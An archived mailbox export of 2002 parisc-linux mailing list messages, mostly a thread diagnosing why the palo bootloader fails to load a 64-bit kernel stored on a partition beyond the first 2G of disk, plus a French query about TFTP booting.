>



From - Thu Nov 08 21:24:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo issues
Date: Wed, 7 Aug 2002 11:36:47 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20020807153647.GD12856@systemhalted>
References: <OE22Aztxc1o8yfogkJX00009958@hotmail.com> <20020807123807.GB9966@systemhalted> <OE50nwpGR881Np7vXee0000cb29@hotmail.com> <E17cSWK-0000pp-00@paul.bame> <OE21vQSK3sFilY05Dxp0000b0ff@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621602 12126 80.91.229.3 (22 Nov 2014 02:00:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:02 +0000 (UTC)
Cc: Paul Bame <bame@fc.hp.com>, parisc-linux@lists.parisc-linux.org
To: Alex Green <alexdgreen@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  7 09:38:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9298C482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Aug 2002 09:38:21 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17cSrf-0003SA-00; Wed, 07 Aug 2002 11:36:47 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Alex Green <alexdgreen@hotmail.com>, Paul Bame <bame@fc.hp.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <OE21vQSK3sFilY05Dxp0000b0ff@hotmail.com>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (96% Sync Ratio [==========])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15760

On Wed, Aug 07, 2002 at 05:28:20PM +0200, Alex Green wrote:
> I ran file against my new kernel and the output is the same as the currently
> booting kernel.
> 
> 

I was decidedly wrong. While 'make bzImage' will produce the
right vmlinux for you to use... you cannot use the actual bzImage
because we don't support compressed kernel images in palo.

Using the vmlinux in /usr/src/linux (or where your tree is) will
get you to the right place :)

c.


From - Thu Nov 08 21:24:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Alex Green" <alexdgreen@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo issues
Date: Wed, 7 Aug 2002 17:40:32 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <OE543lwwxOO7UbnLxBj00004f97@hotmail.com>
References: <OE22Aztxc1o8yfogkJX00009958@hotmail.com> <20020807123807.GB9966@systemhalted> <OE50nwpGR881Np7vXee0000cb29@hotmail.com> <E17cSWK-0000pp-00@paul.bame> <OE21vQSK3sFilY05Dxp0000b0ff@hotmail.com> <20020807153647.GD12856@systemhalted>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621603 12136 80.91.229.3 (22 Nov 2014 02:00:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:03 +0000 (UTC)
Cc: "Paul Bame" <bame@fc.hp.com>,
	<parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  7 09:40:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe54.law3.hotmail.com [209.185.240.54])
	by dsl2.external.hp.com (Postfix) with ESMTP id 898BE4831
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Aug 2002 09:40:34 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 7 Aug 2002 08:40:34 -0700
X-Originating-IP: [194.175.243.90]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 07 Aug 2002 15:40:34.0202 (UTC) FILETIME=[C4D9D7A0:01C23E28]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15761

I've rebuilt using make vmlinux, to remove all options for the wrong image
being built, however, even after reloading palo, it still has the same
error.

I'm now going back to look at the kernel build to check if I can anything
there.

----- Original Message -----
From: "Carlos O'Donell" <carlos@baldric.uwo.ca>
To: "Alex Green" <alexdgreen@hotmail.com>
Cc: "Paul Bame" <bame@fc.hp.com>; <parisc-linux@lists.parisc-linux.org>
Sent: Wednesday, August 07, 2002 5:36 PM
Subject: Re: [parisc-linux] palo issues


> On Wed, Aug 07, 2002 at 05:28:20PM +0200, Alex Green wrote:
> > I ran file against my new kernel and the output is the same as the
currently
> > booting kernel.
> >
> >
>
> I was decidedly wrong. While 'make bzImage' will produce the
> right vmlinux for you to use... you cannot use the actual bzImage
> because we don't support compressed kernel images in palo.
>
> Using the vmlinux in /usr/src/linux (or where your tree is) will
> get you to the right place :)
>
> c.
>



From - Thu Nov 08 21:24:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Alex Green" <alexdgreen@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo issues
Date: Wed, 7 Aug 2002 18:05:54 +0200
Lines: 94
Approved: news@gmane.org
Message-ID: <OE66fNykoS1Nz19qG9600002f67@hotmail.com>
References: <OE22Aztxc1o8yfogkJX00009958@hotmail.com> <20020807123807.GB9966@systemhalted> <OE50nwpGR881Np7vXee0000cb29@hotmail.com> <E17cSWK-0000pp-00@paul.bame> <OE62f84mtceYvUAA3qj0000304b@hotmail.com> <E17cSja-0000tS-00@paul.bame>  <OE59QOuE3chAHrey7dl000009a1@hotmail.com> <E17cSwB-0000wS-00@paul.bame>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621603 12142 80.91.229.3 (22 Nov 2014 02:00:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:03 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	<parisc-linux@lists.parisc-linux.org>
To: "Paul Bame" <bame@fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  7 10:06:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe66.law3.hotmail.com [209.185.240.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 519A1482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Aug 2002 10:06:19 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 7 Aug 2002 09:06:18 -0700
X-Originating-IP: [194.175.243.90]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 07 Aug 2002 16:06:18.0950 (UTC) FILETIME=[5D97AE60:01C23E2C]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15762

> > > > ok the file was build using make bzImage... surely this would
produce a
> > > > proper image..... or not?
> > >
> > > Nope.  Just use 'make'.  the file 'vmlinux' is what you want
>
> Something doesn't compute yet for me, sorry for asking stupid
> questions:
>
>     So you made 'vmlinux' and then copied it to /boot or something right?

Yep I copied to /boot/vmlinux-64

>
>     'file vmlinux' says something about ELF 32 right?

nope I built it with 64bit gcc, as I wanted a 64bit kernel, so the file is
ELF64 :).

>
>     The partition where palo expects to find 'vmlinux' _ends_ within the
>     first 2G of the disk?

Yep, the f0 partition is the first 75mb of the disk:


Disk /dev/sda: 64 heads, 32 sectors, 17366 cylinders
Units = cylinders of 2048 * 512 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/sda1   *         1        72     73712   f0  Linux/PA-RISC boot
/dev/sda2            73       560    499712   82  Linux swap
/dev/sda3           561      1048    499712   82  Linux swap
/dev/sda4          1049     17366  16709632   83  Linux


mount
/dev/sda4 on / type ext3 (rw,errors=remount-ro)
proc on /proc type proc (rw)
devpts on /dev/pts type devpts (rw,gid=5,mode=620)
/proc/bus/usb on /proc/bus/usb type usbdevfs (rw)


cat /etc/palo.conf
--commandline=4/boot/vmlinux-64 root=/dev/sda4 HOME=/
--recoverykernel=/boot/vmlinux
--init-partitioned=/dev/sda


ls -l
total 11912
-rw-r--r--    1 root     root       881069 Aug  7 10:23 System.map-2.4.18-64
-rw-r--r--    1 root     root       900165 Aug  7 18:04 System.map-64
-rw-r--r--    1 root     root         4711 Aug  7 10:23 config-2.4.18-64
lrwxrwxrwx    1 root     root           17 Aug  7 10:26 vmlinux ->
vmlinux-2.4.18-64
-rw-r--r--    1 root     root      5139673 Aug  7 10:23 vmlinux-2.4.18-64
-rwxr-xr-x    1 root     root      5227388 Aug  7 18:04 vmlinux-64


palo
palo version 1.1 bame@c3k Tue Aug  6 09:40:01 MDT 2002
ELF64 executable
Partition Start(MB) End(MB) Id Type
1               1      72   f0 Palo
2              73     560   82 swap
3             561    1048   82 swap
4            1049   17366   83 ext2
ipl: addr 16384 size 30720 entry 0x0
 ko 0x0 ksz 0 k64o 0x0 k64sz 0 rdo 0 rdsz 0
<4/boot/vmlinux-64 root=/dev/sda4 HOME=/>
ipl: addr 16384 size 30720 entry 0x0
 ko 0x0 ksz 0 k64o 0x44000 k64sz 5139673 rdo 0 rdsz 0
<4/boot/vmlinux-64 root=/dev/sda4 HOME=/>


file vmlinux-64
vmlinux-64: ELF 64-bit MSB executable, PA-RISC 2.0 (LP64) version 1
(GNU/Linux), dynamically linked (uses shared libs), not stripped
mohawk:/boot# file vmlinux-2.4.18-64
vmlinux-2.4.18-64: ELF 64-bit MSB executable, PA-RISC 2.0 (LP64) version 1
(GNU/Linux), dynamically linked (uses shared libs), not stripped
mohawk:/boot#


Does this shed any light ??

Thanks
AG






From - Thu Nov 08 21:24:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo issues
Date: Wed, 07 Aug 2002 10:29:32 -0600
Lines: 96
Approved: news@gmane.org
Message-ID: <E17cTgj-00012Z-00@paul.bame>
References: <OE22Aztxc1o8yfogkJX00009958@hotmail.com> <20020807123807.GB9966@systemhalted> <OE50nwpGR881Np7vXee0000cb29@hotmail.com> <E17cSWK-0000pp-00@paul.bame> <OE62f84mtceYvUAA3qj0000304b@hotmail.com> <E17cSja-0000tS-00@paul.bame> <OE59QOuE3chAHrey7dl000009a1@hotmail.com> <E17cSwB-0000wS-00@paul.bame>  <OE66fNykoS1Nz19qG9600002f67@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621603 12152 80.91.229.3 (22 Nov 2014 02:00:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:03 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: "Alex Green" <alexdgreen@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  7 10:29:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0EA13482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Aug 2002 10:29:36 -0600 (MDT)
Original-Received: from smtp1.fc.hp.com (smtp1.fc.hp.com [15.15.136.127])
	by atlrel6.hp.com (Postfix) with ESMTP
	id 89F8E4F4; Wed,  7 Aug 2002 12:29:35 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp1.fc.hp.com (Postfix) with ESMTP
	id 5284238298; Wed,  7 Aug 2002 10:29:35 -0600 (MDT)
Original-Received: from paul.bame (lart.fc.hp.com [15.1.54.48])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 1D227402D; Wed,  7 Aug 2002 10:29:33 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by paul.bame with esmtp (Exim 3.35 #1 (Debian))
	id 17cTgj-00012Z-00; Wed, 07 Aug 2002 10:29:33 -0600
In-Reply-To: Your message of "Wed, 07 Aug 2002 18:05:54 +0200."
             <OE66fNykoS1Nz19qG9600002f67@hotmail.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15763

	**** BOTH THE F0 PARTITION AND THE EXT2 PARTITION	****
	**** WHERE PALO IS TOLD TO FIND THE KERNEL _MUST_ BE	****
	**** CONTAINED WITHIN THE FIRST 2G OF THE DISK		****
	http://parisc-linux.org/software/install.html

> >     The partition where palo expects to find 'vmlinux' _ends_ within the
> >     first 2G of the disk?

In your case (thanks for all the info!) palo is being asked to load the
kernel from partition 4.

> --commandline=4/boot/vmlinux-64 root=/dev/sda4 HOME=/

Partition 4 is _NOT_ contained within the first 2G.

> /dev/sda4          1049     17366  16709632   83  Linux

Sorry my question wasn't clearer.  Perhaps you can turn sda2 or 3 into
a /boot partition, or something more drastic...

> Yep, the f0 partition is the first 75mb of the disk:
> 
> 
> Disk /dev/sda: 64 heads, 32 sectors, 17366 cylinders
> Units = cylinders of 2048 * 512 bytes
> 
>    Device Boot    Start       End    Blocks   Id  System
> /dev/sda1   *         1        72     73712   f0  Linux/PA-RISC boot
> /dev/sda2            73       560    499712   82  Linux swap
> /dev/sda3           561      1048    499712   82  Linux swap
> /dev/sda4          1049     17366  16709632   83  Linux
> 
> 
> mount
> /dev/sda4 on / type ext3 (rw,errors=remount-ro)
> proc on /proc type proc (rw)
> devpts on /dev/pts type devpts (rw,gid=5,mode=620)
> /proc/bus/usb on /proc/bus/usb type usbdevfs (rw)
> 
> 
> cat /etc/palo.conf
> --commandline=4/boot/vmlinux-64 root=/dev/sda4 HOME=/
> --recoverykernel=/boot/vmlinux
> --init-partitioned=/dev/sda
> 
> 
> ls -l
> total 11912
> -rw-r--r--    1 root     root       881069 Aug  7 10:23 System.map-2.4.18-64
> -rw-r--r--    1 root     root       900165 Aug  7 18:04 System.map-64
> -rw-r--r--    1 root     root         4711 Aug  7 10:23 config-2.4.18-64
> lrwxrwxrwx    1 root     root           17 Aug  7 10:26 vmlinux ->
> vmlinux-2.4.18-64
> -rw-r--r--    1 root     root      5139673 Aug  7 10:23 vmlinux-2.4.18-64
> -rwxr-xr-x    1 root     root      5227388 Aug  7 18:04 vmlinux-64
> 
> 
> palo
> palo version 1.1 bame@c3k Tue Aug  6 09:40:01 MDT 2002
> ELF64 executable
> Partition Start(MB) End(MB) Id Type
> 1               1      72   f0 Palo
> 2              73     560   82 swap
> 3             561    1048   82 swap
> 4            1049   17366   83 ext2
> ipl: addr 16384 size 30720 entry 0x0
>  ko 0x0 ksz 0 k64o 0x0 k64sz 0 rdo 0 rdsz 0
> <4/boot/vmlinux-64 root=/dev/sda4 HOME=/>
> ipl: addr 16384 size 30720 entry 0x0
>  ko 0x0 ksz 0 k64o 0x44000 k64sz 5139673 rdo 0 rdsz 0
> <4/boot/vmlinux-64 root=/dev/sda4 HOME=/>
> 
> 
> file vmlinux-64
> vmlinux-64: ELF 64-bit MSB executable, PA-RISC 2.0 (LP64) version 1
> (GNU/Linux), dynamically linked (uses shared libs), not stripped
> mohawk:/boot# file vmlinux-2.4.18-64
> vmlinux-2.4.18-64: ELF 64-bit MSB executable, PA-RISC 2.0 (LP64) version 1
> (GNU/Linux), dynamically linked (uses shared libs), not stripped
> mohawk:/boot#
> 
> 
> Does this shed any light ??
> 
> Thanks
> AG
> 
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 


From - Thu Nov 08 21:24:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] palo issues
Date: Wed, 7 Aug 2002 12:37:57 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20020807163757.GF13287@systemhalted>
References: <OE22Aztxc1o8yfogkJX00009958@hotmail.com> <20020807123807.GB9966@systemhalted> <OE50nwpGR881Np7vXee0000cb29@hotmail.com> <E17cSWK-0000pp-00@paul.bame> <OE62f84mtceYvUAA3qj0000304b@hotmail.com> <E17cSja-0000tS-00@paul.bame> <OE59QOuE3chAHrey7dl000009a1@hotmail.com> <E17cSwB-0000wS-00@paul.bame> <OE66fNykoS1Nz19qG9600002f67@hotmail.com> <E17cTgj-00012Z-00@paul.bame>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621604 12156 80.91.229.3 (22 Nov 2014 02:00:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:04 +0000 (UTC)
Cc: Alex Green <alexdgreen@hotmail.com>,
	parisc-linux@lists.parisc-linux.org
To: Paul Bame <bame@fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  7 10:39:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4FE43482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Aug 2002 10:39:33 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17cTos-0003g0-00; Wed, 07 Aug 2002 12:37:58 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Paul Bame <bame@fc.hp.com>, Alex Green <alexdgreen@hotmail.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <E17cTgj-00012Z-00@paul.bame>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (48% Sync Ratio [=====.....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15764

> > --commandline=4/boot/vmlinux-64 root=/dev/sda4 HOME=/
> 
> Partition 4 is _NOT_ contained within the first 2G.
> 
> > /dev/sda4          1049     17366  16709632   83  Linux
> 
> Sorry my question wasn't clearer.  Perhaps you can turn sda2 or 3 into
> a /boot partition, or something more drastic...
> 
> > Yep, the f0 partition is the first 75mb of the disk:

Or you could set --commandline=0/vmlinux and have palo copy the
kernel into f0. Though you'll need to do this for every new kernel
you want to use. Very much like a normal lilo setup on x86. Though
if you muck it up... you can't recover.

c.


From - Thu Nov 08 21:24:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Mazia-Assia KAIDI" <kaidi@letters.grenoble.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Demande de renseignements
Date: Tue, 8 Oct 2002 10:14:32 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <CEECILGPPEGMBBILGEHLAEFMCAAA.kaidi@letters.grenoble.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621604 12159 80.91.229.3 (22 Nov 2014 02:00:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:04 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  8 02:10:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id CC54A482A
	for <parisc-linux@parisc-linux.org>; Thu,  8 Aug 2002 02:10:30 -0600 (MDT)
Original-Received: from letters.grenoble.hp.com (letters.grenoble.hp.com [15.128.160.194])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id B24FA22E
	for <parisc-linux@parisc-linux.org>; Thu,  8 Aug 2002 10:10:28 +0200 (METDST)
Original-Received: from adirq06 (dhcp-15-128-30-217.grenoble.hp.com [15.128.30.217]) by letters.grenoble.hp.com with SMTP (8.7.1/8.7.3 SMKit7.02) id KAA20413 for <parisc-linux@parisc-linux.org>; Thu, 8 Aug 2002 10:10:26 +0200 (METDST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15765

Bonjour,
je suis stagiaire au centre europeen d'integration de HP Villefontaine. mon
travail consiste en la mise en place d'un outil d'integration portable sous
linux Redhat, mon souci est de booter sur un serveur HP-UX, mon portable se
comporte comme un serveur bootp, dhcp et tftp. cependant j'ai un souci au
niveau du protocole tftp, le transfert de fichiers ne se fait pas: le
transfert se fait paquet par paquet et au bout d'un moment il y'a un message
d'erreur indefini: opcode 0.
dans le cas ou vous auriez plus d'informations, je vous prie de bien vouloir
me les communiquer.
Merci d'avance pour votre aide.


Mazia-Assia KAIDI
Stagiaire Portable integration tool
HP EIC - EMEA
Telecom Engineering Departement
Tel : + 33 4 74 99 42 94



From - Thu Nov 08 21:24:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephan Trajkoff <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Demande de renseignements
Date: Thu, 08 Aug 2002 11:18:45 +0300
Lines: 36
Approved: news@gmane.org
Message-ID: <3D522965.2090404@itp.bg>
References: <CEECILGPPEGMBBILGEHLAEFMCAAA.kaidi@letters.grenoble.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621605 12162 80.91.229.3 (22 Nov 2014 02:00:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:05 +0000 (UTC)
To: Mazia-Assia KAIDI <kaidi@letters.grenoble.hp.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  8 02:15:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 1D38E482E
	for <parisc-linux@lists.parisc-linux.org>; Thu,  8 Aug 2002 02:15:41 -0600 (MDT)
Original-Received: (qmail 8117 invoked from network); 8 Aug 2002 08:19:03 -0000
Original-Received: from softdnserror (HELO itp.bg) (212.72.204.2)
  by softdnserror with SMTP; 8 Aug 2002 08:19:02 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020605
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
